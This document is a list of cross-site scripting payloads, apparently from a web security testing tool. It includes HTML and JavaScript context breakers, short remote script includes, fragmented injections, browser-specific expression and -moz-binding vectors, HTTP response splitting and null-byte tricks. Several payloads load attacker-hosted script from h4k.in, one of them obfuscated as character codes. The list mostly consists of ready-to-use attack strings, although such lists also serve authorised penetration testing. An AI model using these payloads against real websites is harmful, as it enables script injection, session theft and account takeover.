--- Reflective XSS Attacks --- Advanced XSS Locator ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){// This is a modified version of the XSS Locator from ha.ckers.org Reflective XSS Attacks Advanced XSS Locator for <title>-Injections ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");} This is a modified version of the XSS Locator from ha.ckers.org Reflective XSS Attacks HTML Breaking XSS 1 (all quotes) '';!--"<script>alert(0);</script>=&{(alert(1))} HTML Breaker - tries to break the attribute injected in Reflective XSS Attacks HTML Breaking XSS 2 (double quotes) "><script>alert(0);</script> HTML Breaker - tries to break the attribute injected in Reflective XSS Attacks HTML Breaking XSS 3 (single quotes) '><script>alert(0);</script> HTML Breaker - tries to break the attribute injected in Reflective XSS Attacks HTML Breaking XSS 4 (attributes) '<script>alert(0);</script> HTML Breaker - credits go to Alex Reflective XSS Attacks Semicolon XSS (HTML) <img src=x onerror=;;alert(1) /> HTML Breaker - credits go to Kishor Reflective XSS Attacks Title-breaker </title><script>alert(1)</script> Reflective XSS Attacks HTML-breaking XSS for backticked attributes `> <script>alert(5)</script> Reflective XSS Attacks Textarea-breaker (onmouseover) </textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code> Reflective XSS Attacks Noscrript-breaker (onmouseover) </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code> Reflective XSS Attacks Style-breaker }</style><script>a=eval;b=alert;a(b(/i/.source));</script> Reflective XSS Attacks --- Reflective JS XSS --- JS Breaking XSS 1 ;}alert(0);{ JS Breaker - tries to break the javascript injected in Reflective XSS Attacks JS Breaking XSS 2 (string concatination) "+alert(0)+" JS Breaker - tries to break the javascript injected in Reflective XSS Attacks onerror XSS Injection xyz onerror=alert(6); Reflective XSS Attacks onclick XSS Injection onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source); Reflective XSS Attacks Plain JS XSS Injection 1 a=eval;b=alert;a(b(8)); Reflective XSS Attacks Plain JS XSS Injection 2 a=1;a=eval;b=alert;a(b(11));// Reflective XSS Attacks String-breaking JS Injection (single qouted) ';//%0da=eval;b=alert;a(b(9));// Reflective XSS Attacks String-breaking JS Injection (double qouted) ";//%0da=eval;b=alert;a(b(10));// Reflective XSS Attacks String-breaking JS Injection (single qouted) '};a=eval;b=alert;a(b(13));// Reflective XSS Attacks JSON-breaking JS Injection (double qouted) "};a=eval;b=alert;a(b(12));// Reflective XSS Attacks JSON-breaking JS Injection (non-qouted) 1};a=eval;b=alert;a(b(14));// Reflective XSS Attacks Array-breaking JS Injection (sinlge qouted) '];a=eval;b=alert;a(b(15));// Reflective XSS Attacks Array-breaking JS Injection (double qouted) "];a=eval;b=alert;a(b(16));// Reflective XSS Attacks Array-breaking JS Injection (non qouted) 1];a=eval;b=alert;a(b(17));// Reflective XSS Attacks Int-breaking JS Injection (non qouted) 1;a=eval;b=alert;a(b(/c/.source)); Reflective XSS Attacks CRLF-forced JS Injection %0da=eval;b=alert;a(b(/d/.source)); Reflective XSS Attacks JS Comment breaker */a=eval;b=alert;a(b(/e/.source));/* Reflective XSS Attacks Reflective XSS Attacks --- JS Includes --- Tiny XSS Include 1 (20 characters, FFox only) <script src=//h4k.in Super-tiny inclusion vector - 20 characters length. Reflective XSS Attacks Tiny XSS Include 2 (27 characters - all browsers) <script src=http://h4k.in/> Super-tiny inclusion vector for IE, FFox and Opera - 27 characters length. Credits go to kogir. Reflective XSS Attacks Tiny XSS Include 3 (30 characters - all browsers) <script src=//h4k.in></script> Tiny inclusion vector for IE, FFox and Opera - 30 characters length. Reflective XSS Attacks Tiny XSS Include 4 (HTML Breaking) "><script src=//h4k.in></script>< Tiny inclusion vector for IE, FFox and Opera - breaks HTML. Reflective XSS Attacks --- Fragmented DOM XSS --- Include Fragment Pt. 1 <scri First part of a fragmented inclusion attack vector. Swallows the enclosed HTML. Reflective XSS Attacks Include Fragment Pt. 2 pt src=//h4k.in>< Second part of a fragmented inclusion attack vector. Reflective XSS Attacks Include Fragment Pt. 3 ></script> Third part of a fragmented inclusion attack vector. Reflective XSS Attacks --- HTML Injection --- Advanced HTML Injection Locator <s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x2f&#x73&#x3e HTML injection vector. Reflective XSS Attacks HTML Injection 1 (http://h4k.in/i.js) "><script src=http://h4k.in/i.js></script> HTML injection vector. Reflective XSS Attacks HTML Injection 2 (using JS - http://h4k.in/i.js) "><script>a=document.createElement('script');a.src='http://h4k.in/i.js';document.body.appendChild(a);</script> HTML injection vector. Reflective XSS Attacks HTML Injection 3 (using charcode - http://h4k.in/i.js) "><script>eval(String.fromCharCode(97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))</script> HTML injection vector. Reflective XSS Attacks --- Browser specific attacks --- IE VBScript injection vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83))) This works in IE only - use the PoC Link feature to test for this. Browser specific Attacks IE IE expression injection " style="color: expression(alert(0));" a=" This works in IE only - use the PoC Link feature to test for this. Browser specific Attacks IE IE closing-tag expression injection </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"> Reflective XSS Attacks IE IE backticked semicolon injection <img src=`x` onrerror= ` ;; alert(1) ` /> Reflective XSS Attacks IE Mozilla -moz-binding-url injection " style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" This works in Gecko browsers only. Browser specific Attacks Gecko Mozilla -moz-binding-url injection (filter evading) " sstyle="foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a=" This works in Gecko browsers only. Was once used on php.net Browser specific Attacks Gecko --- Weird stuff --- HTTP Reponse Splitting XSS %0aContent-Type:text/html%0a%0a%3cscript%3ealert(0)%3c/script%3ehttp://www.google.de/ HTTP response splitting vector with XSS alert Weird stuff Nullbyte XSS c%00""<script>alert(0);</script> Weird stuff --- Style injections and hw/fw-encoding attacks --- BODY{-moz-binding:url("http://h4k.in/mozxss.xml%23xss")} BODY{-moz-binding:url("http://h4k.in/mozxss.xml%23xss")} hw/fw injections x=alert;x(%26%2340 /finally through!/.source %26%2341); x=alert;x(%26%2340 /finally through!/.source %26%2341); hw/fw injections %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// hw/fw injections --- URL injection --- http://aa<script>alert(123)</script> http://aa<script>alert(123)</script> URL injection